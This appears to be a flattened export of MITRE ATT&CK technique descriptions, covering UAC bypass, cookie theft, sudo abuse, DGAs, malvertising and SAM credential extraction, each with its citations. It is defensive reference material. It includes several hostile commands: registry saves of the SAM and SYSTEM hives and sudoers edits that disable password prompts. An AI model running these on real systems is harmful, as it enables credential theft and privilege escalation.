source_name: mitre-attack url: https://attack.mitre.org/techniques/T1133 external_id: T1133 source_name: Volexity Virtual Private Keylogging description: Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017. url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ source_name: MacOS VNC software for Remote Desktop description: Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac source_name: Unit 42 Hildegard Malware description: Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ source_name: Trend Micro Exposed Docker Server description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021. url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html

kill_chain_name: mitre-attack phase_name: initial-access

Windows

Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes. Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)

enterprise-attack

LC_LOAD_DYLIB Addition

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/006 external_id: T1546.006 source_name: Malware Persistence on OS X description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf source_name: Writing Bad Malware for OSX description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf

kill_chain_name: mitre-attack phase_name: persistence

macOS

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.

enterprise-attack

Steal Web Session Cookie

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1539 external_id: T1539 source_name: Krebs Discord Bookmarks 2023 description: Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024. url: https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/ source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ source_name: Kaspersky TajMahal April 2019 description: GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019. url: https://securelist.com/project-tajmahal/90240/ source_name: Github evilginx2 description: Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019. url: https://github.com/kgretzky/evilginx2 source_name: GitHub Mauraena description: Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019. url: https://github.com/muraenateam/muraena source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html source_name: Talos Roblox Scam 2023 description: Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024. url: https://blog.talosintelligence.com/roblox-scam-overview/

kill_chain_name: mitre-attack phase_name: credential-access

Linux

Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)

enterprise-attack

Container Orchestration Job

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/007 external_id: T1053.007 source_name: Kubernetes CronJob description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ source_name: Kubernetes Jobs description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021. url: https://kubernetes.io/docs/concepts/workloads/controllers/job/ source_name: Threat Matrix for Kubernetes description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021. url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

kill_chain_name: mitre-attack phase_name: privilege-escalation

Containers

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

enterprise-attack

Domain Generation Algorithms

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1568/002 external_id: T1568.002 source_name: Cybereason Dissecting DGAs description: Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019. url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf source_name: Cisco Umbrella DGA description: Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019. url: https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/ source_name: Unit 42 DGA Feb 2019 description: Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019. url: https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/ source_name: Talos CCleanup 2017 description: Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018. url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html source_name: Akamai DGA Mitigation description: Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019. url: https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html source_name: FireEye POSHSPY April 2017 description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017. url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html source_name: ESET Sednit 2017 Activity description: ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019. url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ source_name: Data Driven Security DGA description: Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019. url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ source_name: Pace University Detecting DGA May 2017 description: Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019. url: http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf source_name: Elastic Predicting DGA description: Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019. url: https://arxiv.org/pdf/1611.00791.pdf

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension) Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

enterprise-attack

Double File Extension

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/007 external_id: T1036.007 source_name: PCMag DoubleExtension description: PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021. url: https://www.pcmag.com/encyclopedia/term/double-extension source_name: SOCPrime DoubleExtension description: Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021. url: https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/ source_name: Seqrite DoubleExtension description: Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021. url: https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

enterprise-attack

Bypass User Account Control

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/002 external_id: T1548.002 source_name: Davidson Windows description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html source_name: TechNet How UAC Works description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works source_name: SANS UAC Bypass description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass source_name: MSDN COM Elevation description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. url: https://msdn.microsoft.com/en-us/library/ms679687.aspx source_name: enigma0x3 Fileless UAC Bypass description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ source_name: enigma0x3 sdclt app paths description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ source_name: enigma0x3 sdclt bypass description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ source_name: TechNet Inside UAC description: Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016. url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx source_name: Fortinet Fareit description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware source_name: Github UACMe description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. url: https://github.com/hfiref0x/UACME

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites. Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

enterprise-attack

Internet Connection Discovery

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1016/001 external_id: T1016.001

kill_chain_name: mitre-attack phase_name: discovery

Windows

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though. Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

enterprise-attack

Sudo and Sudo Caching

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/003 external_id: T1548.003 source_name: sudo man page 2018 description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. url: https://www.sudo.ws/ source_name: OSX.Dok Malware description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017. url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ source_name: cybereason osx proton description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018. url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does

kill_chain_name: mitre-attack phase_name: defense-evasion

Linux

An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)

enterprise-attack

Archive via Custom Method

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1560/003 external_id: T1560.003 source_name: ESET Sednit Part 2 description: ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. url: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

kill_chain_name: mitre-attack phase_name: collection

Linux

An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)

enterprise-attack

Modify Cloud Compute Infrastructure

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1578 external_id: T1578 source_name: Mandiant M-Trends 2020 description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. url: https://content.fireeye.com/m-trends/rpt-m-trends-2020

kill_chain_name: mitre-attack phase_name: defense-evasion

IaaS

Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)

enterprise-attack

Network Devices

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/008 external_id: T1584.008 source_name: Wired Russia Cyberwar description: Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023. url: https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/ source_name: Mandiant Fortinet Zero Day description: Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem source_name: Justice GRU 2024 description: Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation’s Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024. url: https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) Malvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising) Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising)

enterprise-attack

Malvertising

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/008 external_id: T1583.008 source_name: BBC-malvertising description: BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023. url: https://www.bbc.com/news/technology-12891182 source_name: FBI-search description: FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023. url: https://www.ic3.gov/Media/Y2022/PSA221221 source_name: sentinelone-malvertising description: Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning Attack | How Attackers Are Hijacking Search Results. Retrieved February 21, 2023. url: https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/ source_name: spamhaus-malvertising description: Miller, Sarah. (2023, February 2). A surge of malvertising across Google Ads is distributing dangerous malware. Retrieved February 21, 2023. url: https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/ source_name: Masquerads-Guardio description: Tal, Nati. (2022, December 28). “MasquerAds” — Google’s Ad-Words Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto Wallets. Retrieved February 21, 2023. url: https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions. Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)

enterprise-attack

Permission Groups Discovery

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1069 external_id: T1069 source_name: K8s Authorization Overview description: Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021. url: https://kubernetes.io/docs/reference/access-authn-authz/authorization/ source_name: CrowdStrike BloodHound April 2018 description: Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020. url: https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/

kill_chain_name: mitre-attack phase_name: discovery

Windows

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.

enterprise-attack

Email Collection

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1114 external_id: T1114 source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2 description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019. url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/

kill_chain_name: mitre-attack phase_name: collection

Windows

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * [gsecdump](https://attack.mitre.org/software/S0008) * [Mimikatz](https://attack.mitre.org/software/S0002) * secretsdump.py Alternatively, the SAM can be extracted from the Registry with Reg: * <code>reg save HKLM\sam sam</code> * <code>reg save HKLM\system system</code> Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7) Notes: * RID 500 account is the local, built-in administrator. * RID 501 is the guest account. * User accounts start with a RID of 1,000+.

enterprise-attack

Security Account Manager

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/002 external_id: T1003.002 source_name: GitHub Creddump7 description: Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018. url: https://github.com/Neohapsis/creddump7

kill_chain_name: mitre-attack phase_name: credential-access

Windows